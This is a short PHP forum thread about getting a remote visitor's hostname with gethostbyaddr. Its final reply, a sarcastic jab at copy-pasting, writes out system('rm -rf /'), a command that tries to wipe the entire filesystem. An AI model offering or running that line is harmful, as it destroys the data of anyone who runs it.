What is the best way to capture the hostname of the remote computer. I have managed to get the IP of the remote computer but I am after the hostname. I have enable hostname lookups in apache enabled and i cannot remember where to look in PHP manual
Thanks MTG
<?php
$server = $_SERVER["SERVER_NAME"]; $ip = gethostbyname ($server); $server = gethostbyaddr($ip);
?>
that script just returns "localhost" and I was not using "localhost" to view the file
MTG
You're saying that [man]gethostbyaddr[/man] returns "localhost" when you give it the remote IP?
[man]gethostbyaddr[/man]:
<?php $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); echo $hostname; ?>
Well, considering that the original poster appears to have just cut-and-paste the previously-supplied code without stopping to read and understand what it does first ....
system('rm -rf /');